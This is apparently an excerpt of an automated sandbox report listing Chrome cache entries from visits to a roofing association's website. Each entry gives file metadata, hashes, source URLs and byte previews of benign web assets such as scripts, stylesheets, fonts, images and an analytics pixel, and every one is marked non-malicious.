Preview:	......JFIF.....`.`......Exif..MM.*.......;.........J.i.........V.......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32126)
Category:	downloaded
Size (bytes):	156738
Entropy (8bit):	5.339370039512289
Encrypted:	false
SSDEEP:	3072:m5k1Er6KFnixYRaRQkq7/vHmdG4mhjzAfKCLjtl:YpR3mU4wjzAfn5l
MD5:	BCA63B1C4EF980E9D4B3719A30A3B851
SHA1:	EE7F157C0CC3E8B8C846100E65A8A52FD9CC008D
SHA-256:	DD4CE053650255CD3B4B7F198F4EB70793068D4F4EB4B99F14B2E3EB50C88444
SHA-512:	557993EA81A8A908D282C1D026275D19B6CB3B088A7CAAD01D1F9906FF05115E644149BCFF7ADCF616B7DF909CBFF2B7FDABC08C408CD01C1C0DEA6630252A36
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/pt-content-views-pro/public/assets/js/cvpro.min.js?ver=5.1.2.2
Preview:	/! content-views-pro 03-2018 /./!. Colorbox v1.5.4. (c) 2014 Jack Moore - http://www.jacklmoore.com/colorbox. MIT License. /.!function(a,b,c){function d(c,d,e){var f=b.createElement(c);return d&&(f.id=_+d),e&&(f.style.cssText=e),a(f)}function e(){return c.innerHeight?c.innerHeight:a(c).height()}function f(b,c){c!==Object(c)&&(c={}),this.cache={},this.el=b,this.value=function(b){var d;return void 0===this.cache[b]&&(d=a(this.el).attr("data-cvpbox-"+b),void 0!==d?this.cache[b]=d:void 0!==c[b]?this.cache[b]=c[b]:void 0!==Z[b]&&(this.cache[b]=Z[b])),this.cache[b]},this.get=function(b){var c=this.value(b);return a.isFunction(c)?c.call(this.el,this):c}}function g(a){var b=A.length,c=(R+a)%b;return 0>c?b+c:c}function h(a,b){return Math.round((/%/.test(a)?("x"===b?B.width():e())/100:1)*parseInt(a,10))}function i(a,b){return a.get("photo")\|\|a.get("photoRegex").test(b)}function j(a,b){return a.get("retinaUrl")&&c.devicePixelRatio>1?b.replace(a.get("photoRegex"),a.get("retinaSuffix")):b}funct

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	4.520829475849048
Encrypted:	false
SSDEEP:	6:2LGZFbz+UFvqX3yNfb1+22HWjGU9UIifoAMLDNe:28qiaK5/tMoAM3M
MD5:	2A5E09407B9EE5F309390EC090F4DCA9
SHA1:	8249EDA67EDE28AE157585E96A95B6CEE0E740A9
SHA-256:	81C96E1E00234B9D88DFFD0694F42F23BA96DB4D243D0673C3BC776FABA534FC
SHA-512:	DB6464BFD3AE3042AA8DCD3FBE80EF0383A60533992ABB9D9FE520BA8A6875E64063DFFF9743F4FC63260BBE8A7DA3F94FA929B828A653D6F43B192BAAB00C6C
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884067978
Preview:	(function (w) {. . . . if (typeof w.feathr === 'function') {. w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab');. }. . .}(window));

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (341), with CRLF line terminators
Category:	downloaded
Size (bytes):	12022
Entropy (8bit):	5.044618761107783
Encrypted:	false
SSDEEP:	192:DhM8AwF2e4jbcJWdBSRlDC/rf/x0GLuHulB40BO4JOx0l3UrxocKEBft8IAMr20Z:DhMzwHkDfJu8TlArxocKEBfqMrpIeU3c
MD5:	24FA8490D760DE4DD59D0ECA8F6D8924
SHA1:	352AF1B0D9B1695507FA2DE95DEEB5C3EA382BC2
SHA-256:	8FA294611675704AF5C650341571141A4710BD71BB5B4C2A4A8DA801F79C678A
SHA-512:	F8CE8D9DAE02D5F137497FEB33CAD9A4B708EB984886A88312F1B9EDA750449B31A5049E88ABD37D5172ED368F8BC92C5B07474227C4AAFCDF89A5AB066B8B0A
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/custom_style.css?ver=3.3.8.1713804094
Preview:	/* .. * DO NOT Edit this file, or your CSS code will be overwritten!!.. * This file is intended for the theme's internal use... * .. */..body, #page-content-title .title-description { font-family:'Raleway'; font-weight: normal; font-style: normal; }..body { font-size:14px; line-height:1.7; }.....has-small-font-size { font-size: 12px; }...has-normal-font-size { font-size: 14px; }...has-medium-font-size { font-size: 18px; }...has-large-font-size { font-size: 34px; }...has-larger-font-size { font-size: 48px; }....h1, h2, h3, h4, h5, h6, #slogan { font-family:'Raleway'; }..h1, h2, h3, h4, h5, h6 { line-height:1.2; font-weight: 700; font-style: normal; }....#top-elements { height:110px; }.. #logo h1 a, #logo .site-name a { background:transparent url(/media/2017/04/logo.png) no-repeat 0 100%; width:242px; height:102px; } ..#logo { top: 6px; }.. #logo { position: absolute; left: 50%; margin-left: -121px; padding: 0; }..#slogan { .. top:100px;.. left:0px;..}..#slogan { fon

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 128352, version 1.0
Category:	downloaded
Size (bytes):	128352
Entropy (8bit):	7.998349465466699
Encrypted:	true
SSDEEP:	3072:b4XkN5u3RbAR2r4lJ8FBnP7fNblbKBRvqy:fGdA8FBP7fNb5y
MD5:	53436ACA8627A49F4DEAAA44DC9E3C05
SHA1:	0BC0C675480D94EC7E8609DDA6227F88C5D08D2C
SHA-256:	8265F64786397D6B832D1CA0AAFDF149AD84E72759FFFA9F7272E91A0FB015D1
SHA-512:	6655E0426EB0C78A7CB4D4216A3AF7A6EDD50ABA8C92316608B1F79B8FC15F895CBA9314BEB7A35400228786E2A78A33E8C03322DA04E0DA94C2F109241547E8
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/materialicons/v142/flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2
Preview:	wOF2.......`......~....................................D.`..........,..t..X..6.$..p. ..z. [.\.M.B.....-..VT .&"..Qc.=.U..XwD...7Q.v.a..; (...I........+.I..%...._.v.:..N.Y....;J.V...+..S..9Z...X.J........_0)c`[vb?.".P.E..Q......."p.v..........3.Zm`k":8..Kk........UR%U2...<....'a.L.4.&....P.X...,z5.j<++....ff..X1I.......%.Z<.UT.G.)L........;.A....O~ev...-z....^.\|.....pE..@.t.7...4..>...}.U[y...O8....\|m.L04....t...g...../...&.E...."...q.1.(..g.&?;...Vx..\|.-p=......;...a..Q\|L8..}..$.I.2.tI8...O..Q...k+;..N.hf.M...t..(..\...O.......:n.... v..}H...\|B<..'..r...1..B, .....6.&...6.x.i.=...r......Os.._...g.{W$VD..A1........B[.<un...t......k..n0........ ..O&.....%.@..c..Tv...pT.Np...U...%j+ZP....@.....b..........~...f..D..... ...O$....\|......$W842...S.....2.pIL.....Z.[.xo.r.{.d)I.P.-)0..K.`.~,.8..[...m..3d....A..v.s.d..KW..j.4.Ic.m..,.P........../W.j...>B..BJ.........[?.....$."...-...K.P.R..K.....Dz(..7_...=.....b.C...2..4F.+....P...f.#.q.G.G8.

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 301 x 121, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.911887401515937
Encrypted:	false
SSDEEP:	96:yjH8GZBHyIDQ5tRA2aT3fuqBrhEM0XT4Dd8YPtF1CNIqcccy:+HlQzK3fJtELXT4DdlPtfmIqcccy
MD5:	E7EA196043F9539E0E14B07DC5D6760D
SHA1:	ACA41DD6704AAE77245BE7647E8C04E0316CEC03
SHA-256:	660565E1C46EAD64573862D1106F8535348DAE3D39C7220D6F786C24FE6E3E63
SHA-512:	C32E2D226E9E4ACD9C9394EF9AC08BAFEB898B9BB4AAA95E1C616BBAF1082910712D4E89B70921B7E93E409A675999C97E6662C16D984C2AD340F48FFE336726
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...-...y.....[U......PLTE......AAAUUU...qqq............222AAB................................tmu"..WQh..t"..tn..h..t .%%%K.....VVVBBB.........rrr.........###111.................................US....IDATx...n.6.E9.....k....}i..-.......R.3#QR.dc...-...Kjd.T.J.R.T..<W.....P.].w.sX.]....f.u.;.gc.U."..)tg...[.s.P^..Vc3.rN]..d,Tc#.u.j.z......).Y...H.U...pe...Z\D.....l..T..5^.(.KOr....$.Z..REO.H.6.:...K3...X.=c.T..K.zA].1.-c..f..4m..k...!c,..+.#.3..Vc..c..f..E..=:J.......5.0.)..Cr..0..1...V..v.5.V1B"6.p..3...[l....+wT.D.8.d....g......`.]...+..m...t...Fe-..tfJ.....j\..:...v..b.xs.E .5.-._&Kg..f.r..1O.T...%4oe._.G]....nh.....x...L.;b......E.,...t..........E.....\|?QY..y.1...%di....3.e.......NY.k.u.e...16..h<...@.5.9.....a.8D.C...3.....1.ZYh]1f....Jh..m..Sf.EJ..X4.G?..#qEY.......jq.eEV..@H*#S.....x8>%r.~v.f5tf.t...v..F...z..G...'4....IwB.........Y<$...x.e+.km...Y.}..m..;.%6.aq...z....5,.n..}h...x..%.b.C/.kz...y1...2Q..J.TbjTb.E...,

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, comment: "Compressed by jpeg-recompress", baseline, precision 8, 400x400, components 3
Category:	downloaded
Size (bytes):	25789
Entropy (8bit):	7.971049194056857
Encrypted:	false
SSDEEP:	384:0tEmDH9Jg2eTRb2ajEyPFpe1BBgdtNrQ5vet8sQICSk+ogdfPruWqne8:MFDH9JGTN/j1/UoNrc2vlhXmnz
MD5:	EFD88C4C394DB8A9A4C4312E71C86F08
SHA1:	62374D45FBB4F2AE95EBDCC9B7155D791A9C84F2
SHA-256:	44C5571645A01D5AAA9B02016F18AA9D959483B0DF61C3A86C0FD8AD5D620669
SHA-512:	E8B982C437C6E1A9ABE7DFDBADC9AA5A9A0D992925FA18C3219530916703F105CEDBBC03F0A82C8E8C7D433C9403664AD84718EE03B5FC8E4460455219B499E6
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_21079337-400x400.jpeg
Preview:	......JFIF.....H.H......Compressed by jpeg-recompress...C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...........".........................................D.........................!.1.AQa."q..2.#BR.....r.3b....$C.%Ss.D..................................-........................!1.AQ.."2aq.#...BR.............?.......S......<GmpL........6.8..[e.CJ.Gf<...J[mv....(.M+...Q`'.Q....c.......Q.Z3.Q.&.8...n..>..`..T6R......T..G.,c....T.....6.S.S.......[p.!...u.....c..P..4..E...zNH.ri...6.'i..=..U..)_.1...Q..y.H0>..m.c.%A.h....'.q..+.4..%.$NhTS.....f...I`..(..h..?.i\.QQ.9".F.O....L.h..h.s.T.v1...r.1E=...PQ.6....0N3FU....UZY..@..3P....jq.@P....P.H.......].!@..P...uu..v.@.]F.C.@...x....h.-...}.`..h4...\....t....Q.s]..........b..)...9..Q.Q@.DQJ(.0_JQK.Z*..g...(.Gzn...z.....8.=.8.Ju...5-...jS..N@..M.M'R[..#[9..;1....,..Z.R\|....v...V.^.<..f............. .......c."X..h

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1348
Entropy (8bit):	4.975710898691756
Encrypted:	false
SSDEEP:	24:qG7jlhatlSaqudPolkFgCtlMBMAVkDQjU50kjsLScUDJeQ7z3nJp1/cYABk389:q4jnZa/juBU0y09T6Bnn1cYABEo
MD5:	9B4D9175DD9FE6225D6CFAAD6B766F93
SHA1:	3899EF3AF1A2FD93C860B082431DBB79E4325708
SHA-256:	5FB60BEA361F0E75E8797B3D6E366C9B1039A42AA75D59C4E9FC0DBFA8D82187
SHA-512:	ED452F7FDBBE58A32F11947078EED0A8DDA107CB223E02A548B4BB83305D0C686B345A65544D95DAEE8F4FB0902E13AEE6D0DBBD0E6B19755BFC12A35B452BE9
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.core.css
Preview:	/. jQuery UI CSS Framework.* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about).* Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt) licenses../../ Layout helpers.----------------------------------/..ui-helper-hidden { display: none; }..ui-helper-hidden-accessible { position: absolute; left: -99999999px; }..ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; }..ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; }..ui-helper-clearfix { display: inline-block; }./ required comment for clearfix to work in Opera \/. html .ui-helper-clearfix { height:1%; }..ui-helper-clearfix { display:block; }./* end clearfix /..ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); }.../ Interaction Cues.----------------------------------*/..ui-state-disabled { cursor: d

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 600x400, components 3
Category:	downloaded
Size (bytes):	31679
Entropy (8bit):	7.969251299978385
Encrypted:	false
SSDEEP:	768:tTz/De1t1/kjWRhZCdcNMiJ0ZfgjhKUmUU:9zayjClGiSZUyL
MD5:	D18E4BC75C521E465ACFA9BC68ADDA02
SHA1:	AC06E876FF7487BCD78EE9712BEECA7F75602524
SHA-256:	86A06C0684CEA012EE4A5B17B98B5BC8825E9F738AF6B9A616F4170C1CCB2CB2
SHA-512:	9EBB957ED9AAA56A2CED9F21634E3510678EC569C0DBCFF9D6D86AE9898996E5E9AB0A5BD9FF6C82D15AABCDB0E3A9932F4F26D2EBB934CBAAFC5259FCF8A537
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_19797513-600x400.jpeg
Preview:	......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq..............X.."................................................`......................(...H.>................&..E..2/.....gf................x...*zwE..."^z................[..c4V.PV.UoCE..h=+~..............~Z.G.l!..~oU.....oW#..............#9..'!!.e<.I....^.3.3..............G.dz...m....?g[e..K?..[.............9..Uy..e.....?.O...z.'...............9...::..,=nG9....b.j.t................r..y.w...f...;H.8.:......-`...........VS;\.G#...%...^..G@................g.oab.O;2.K.....[YK.....8....e...........:....b.n....O.Y...W.0..$X.9..y.:/..6.......&G....Kv.K..y.3..{..`G..q'%.YR..n............?=...Z...1P..zE.F6..F.....z.6...f.....m.....ll...%).[.....i2=4.rgU.k.........[P......].....G..JP..b.@......1...)..........v.b.+K..E5/3..k.b.:&.._..:.q.#.&K..i.E..V.).......6..NK.....Y.DgZ:s..[.Myg#......Dw.mb..%Hz.Ld8.......,).

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2000 x 1333, 2-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	545158
Entropy (8bit):	7.996392784229104
Encrypted:	true
SSDEEP:	12288:P6nTzPiyv1xa1L5UK+HwuNJYufwSFzgjTYG0Yoh3K:mTzHviCwvuVz0C3K
MD5:	3474E8E874EEF556A66E1974AAECFB17
SHA1:	D6C1F498DAD979D8BC385B2FFD5D80F815E5B775
SHA-256:	30FB32F3ACB25C81EBAA92829BB42A4970F211032477404813698B9132ACC462
SHA-512:	161EFD11C699D5EA040915A74F9ED3EAA0A36C6AE27599BA19DFBC0225553DE3EAC394EEEB6CABC5B60355F2D3C04A1A6520FDB55290C02A188B637E8E4489B9
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/roofing.png
Preview:	.PNG........IHDR.......5.....6@......PLTEEJI/22 !".........IDATx.L.Q...&.....J...,'..f..FK.....0}1...$.V.w"j.,.a..d.+.#..h.ke..U..}!}yBC..Z.D)N... ...VD....J5..v.d...N....bp... .3\|!......;........y."..q.E/.).........`..^..0..<a._q....5`:?...U.-j5.>p<..;...!...6..........)...........(..[...K$.s...........[~.>.hs.h^.Q...Is....R.f......U.........,...N..I.R:wm.Xl@....B...2.>..........SR...[..p...o!...5....Q..%.x?..\hH.t.$...p.!...Tfkh..P@\..`...!yw!.%.o .1.].~.h^../.1..h...Y.$.Q.`....f..X~v......Cx.t.q.Q..n.<Z...qZq....f..f..G.......a..'..$.p..q#..f...0..b.......4Ka:..,:Db..t.....p..;..`.....I.!L@.<..K....~..sJD...c.....g.>.n..z....a2?....`.~..8..-s.....j.V{......j.X.+s.a._.....u.&.=.Gq..x....y).X6.........o\|t./.....g......ns.sU.KX.!..X.d...#.A.^KB......3.R....;...xmU[.[.2.o..G^W....<.x.$.,B...5....L$Y....A....!..R.a.K.....R.yl..w....2.&....+.)...;.ay..0......uid(T..9&C{..lJ......N ...`:...3..R.l..0.._.c..O!.Ns.J....b... r.\.z.9.H..t.s. ..}....

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1238)
Category:	downloaded
Size (bytes):	1239
Entropy (8bit):	5.068464054671174
Encrypted:	false
SSDEEP:	24:ch63Cf5W8QPIHRZ3hwVFS39bYGwNef1yTZsNUkQ1sZmSuLqNWRco5Jcn5IKM6cuY:C6SQnw/x+SR8ZZkQbp1RZ5JwiKMm7Zc
MD5:	9E8F56E8E1806253BA01A95CFC3D392C
SHA1:	A8AF90D7482E1E99D03DE6BF88FED2315C5DD728
SHA-256:	2595496FE48DF6FCF9B1BC57C29A744C121EB4DD11566466BC13D2E52E6BBCC8
SHA-512:	63F0F6F94FBABADC3F774CCAA6A401696E8A7651A074BC077D214F91DA080B36714FD799EB40FED64154972008E34FC733D6EE314AC675727B37B58FFBEBEBEE
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js
Preview:	!function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href")\|\|""}function r(e,t){var r=e.substr(t,2);return parseInt(r,16)}function n(n,c){for(var o="",a=r(n,c),i=c+2;i<n.length;i+=2){var l=r(n,i)^a;o+=String.fromCharCode(l)}try{o=decodeURIComponent(escape(o))}catch(u){e(u)}return t(o)}function c(t){for(var r=t.querySelectorAll("a"),c=0;c<r.length;c++)try{var o=r[c],a=o.href.indexOf(l);a>-1&&(o.href="mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var r=t.querySelectorAll("template"),n=0;n<r.length;n++)try{i(r[n].content)}catch(c){e(c)}}function i(t){try{c(t),o(t),a(t)}catch(r){e(r

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fexcellence&trace_id=f6fbf5901c144742a9941b0b97d6420c&cts=2024-04-23T14%3A54%3A34.087Z&hit_id=97028036-7fae-4783-a774-883b9b5bcc9d&ht=pageview&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=512435786&z=1006808409
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3840
Entropy (8bit):	4.937470138537912
Encrypted:	false
SSDEEP:	48:oMplVGH0zEpbkanba4M4phtVSSHxTpUZzgpDX1ptO5ZsRC4CTM4MpblpjFT5:rykan3todZsx0Zw5
MD5:	389F6721784CD633CDC17EF2C49051F1
SHA1:	756A1645EE91C3DF54E5C5339B6C3B763F4249C3
SHA-256:	B776D9A2E7EA86DB9A9B7D4DAB0AC1379C773B6BEEC8D34732144B98F8F8F43F
SHA-512:	3A04178F84A2793355D6781D10171D72D79A97610477A0E13A464C1FB7223DAD307F5F5E6114A6DF1DC1F9681727D96E1C300A699DAD6A190420F4778695845C
Malicious:	false
Reputation:	low
Preview:	[{"id":"twutvttwvuvtwwtt","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtt","base":[618048640,816215040],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"3359078319631968503","a":[0,0],"bb":[-131,-29,-10,-11,-96,-15,-10,3],"c":"{\"1\":{\"title\":\"Northern Maryland Timberworks\"}}"}]},{"id":"twutvttwvuvtwwtu","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtu","base":[618022656,816226048],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"2211659974868117762","a":[0,0,618022656,816226048,618022656,816226048],"bb":[-11,-29,11,2,-11,-29,11,2,-11,-29,11,2,-102,-29,-9,-11,-86,-15,-10,3],"c":"{\"1\":{\"title\":\"Faith Gateway Community\"}}","io":[0,-13]}]},{"id":"twutvttwvuvtwwtv","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtv","base":[618081920,816204288],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"5006775502456159534","a":[0,0],"bb":[-130,-15,-9,3],"c":"{\"1\":{\"title\":\"Forest Hill Elementary School\"}}"},{"id":"33590783196

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2395)
Category:	downloaded
Size (bytes):	74102
Entropy (8bit):	5.46822581525856
Encrypted:	false
SSDEEP:	1536:ZEp0rZDQr2Sem1nZwWmGdN/AX4qoT3YtQnNaqqHs6HP5LJCHQwMcm:mmrZ8r281nuWxdN/AXw3bnNaq36HP511
MD5:	8002E74931BABF8E419C3781897CE8A0
SHA1:	23A642EE111B298D73C0440A601C835DCBE27402
SHA-256:	42E6FAC8FF3F94A3766BF1724D4D5C7D8A0F360425F2C31EE56BD94D5A21BDE2
SHA-512:	5B8C3E3496D0F7DB343DEB94D3BEDBA2C24FEE4F7649F8C83CC0D5B3DD70CF6AF90DD4734F17655F77A271344614BB7EFB5F183EE8090C8C1CDF62AED615A92C
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/map.js
Preview:	google.maps.__gjsload__('map', function(_){var mka=function(a){try{return _.na.JSON.parse(a)}catch(b){}a=String(a);if(/^\s$/.test(a)?0:/^[\],:{}\s\u2028\u2029]$/.test(a.replace(/\\["\\\/bfnrtu]/g,"@").replace(/(?:"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]"\|true\|false\|null\|-?\d+(?:\.\d)?(?:[eE][+\-]?\d+)?)[\s\u2028\u2029](?=:\|,\|]\|}\|$)/g,"]").replace(/(?:^\|:\|,)(?:[\s\u2028\u2029]\[)+/g,"")))try{return eval("("+a+")")}catch(b){}throw Error("Invalid JSON string: "+a);},nka=function(a){if(a.Fg){a:{a=a.Fg.responseText;if(_.na.JSON)try{var b=._.na.JSON.parse(a);break a}catch(c){}b=mka(a)}return b}},oka=function(){var a=_.ks();return _.I(a.Ig,17)},pka=function(a,b){return a.Fg?new _.Lm(b.Fg,b.Gg):_.Mm(a,_.us(_.vs(a,b)))},qka=function(a){if(!a.getDiv().hasAttribute("dir"))return!1;const b=a.getDiv().dir;return"rtl"===b?!0:"ltr"===b?!1:"rtl"===window.getComputedStyle(a.getDiv()).direction},rka=function(a,b){const c=a.length,d="string"===typeof a?a.split(""):a;for(let e=0;e<c;e++)if(e in d&&

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9959), with no line terminators
Category:	downloaded
Size (bytes):	9959
Entropy (8bit):	5.305678786900084
Encrypted:	false
SSDEEP:	192:6kuGNyd31svs7wkX8KzJcqSDdAcHX4YE5NLR:6aNyNO0kkMKzFSDdAcIYwLR
MD5:	9DA581A383E7FFA1489E5AEABC786CE8
SHA1:	54F66B005411AFA739F51C0579DB741FF92D4D47
SHA-256:	9A84899D422B864E1610C97F8D128AE9FA645090C5CC7E2D0B5EE9CC53D06958
SHA-512:	C79E7FAB9E8E942A4ECC0BE1AC1109F9041FB27CFE9EC1CD6CEF4619E31FDE871BC1B4A78384BEE66B9052F2FAA79206DF2FBBB82032BC83BAE0D62F0860435E
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/js/jquery-migrate.min.js
Preview:	"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(a,b,c){function d(c){var d=b.console;f[c]\|\|(f[c]=!0,a.migrateWarnings.push(c),d&&d.warn&&!a.migrateMute&&(d.warn("JQMIGRATE: "+c),a.migrateTrace&&d.trace&&d.trace()))}function e(b,c,e,f){if(Object.defineProperty)try{return void Object.defineProperty(b,c,{configurable:!0,enumerable:!0,get:function(){return d(f),e},set:function(a){d(f),e=a}})}catch(g){}a._definePropertyBroken=!0,b[c]=e}a.migrateVersion="3.3.1";var f={};a.migrateWarnings=[],b.console&&b.console.log&&b.console.log("JQMIGRATE: Migrate is installed"+(a.migrateMute?"":" with logging active")+", version "+a.migrateVersion),a.migrateTrace===c&&(a.migrateTrace=!0),a.migrateReset=function(){f={},a.migrateWarnings.length=0},"BackCompat"===document.compatMode&&d("jQuery is not compatible with Quirks Mode");var g=a("<input/>",{size:1}).attr("size")&&a.attrFn,h=a.attr,i=a.attrHooks.value&&a.attrHooks.value.get\|\|function(){return null},j=a.attrHooks.value&&a.attr

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1024x751, components 3
Category:	downloaded
Size (bytes):	27765
Entropy (8bit):	7.796145789666983
Encrypted:	false
SSDEEP:	768:5I60YfpaG4yFtberKYRnK4O2ID5n/Kv5WEq0DDfxa:r1fpaG4obeLRKLnnXEq0vpa
MD5:	3AF7EDD44072E955F2C8C131EF341BC0
SHA1:	CFD2682F74C12A161C3ADE9014993B1CABCA138C
SHA-256:	9D25A8CCE8B8DB0CDC13BFE3BA111BE72DB718A909F0757F9C1F76DE10CF7E41
SHA-512:	848E60108EA4DA9B7397BACCFE15AC47CD9F3DE852E6207276906D6399361BEF5C0F84F7850D17A75D158DFA710AC7B53DCBB9A230FEAF720763430CF7C3BCC9
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2020/03/podcast-4209770-1024x751.jpg
Preview:	......JFIF..............................)&""&)>,0,0,>^;E;;E;^SeRMReS.vhhv...............................)&""&)>,0,0,>^;E;;E;^SeRMReS.vhhv.........................."..........3.............................................................................................................................................................................................................................................................................................................................................................................c...:.x..>S................................................ ..h.<.=f=.#.s..~.N...}.j............................................t.A..r.!........,...>....@..........................................."..{.....33.....3...x...~].............................................I.ei.._C.\|...&g.q.+iE.sa...c..=_%.p........................................\|...5;;.....k...h....Y....OG.x\|.D...r...........................................\oi.....c[c...Fy.(.

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15660)
Category:	downloaded
Size (bytes):	18617
Entropy (8bit):	4.746740754378132
Encrypted:	false
SSDEEP:	384:Unb0kcuPTb9Uh31//bEP+XgA1N9CleffJmp3:Ub0/U9Uh31//YWXgAJffC3
MD5:	32BEB68A374E3AEAC00ABDF9E12B84EA
SHA1:	B5D18AA625E8696DD9D07CD0869337717B211AE0
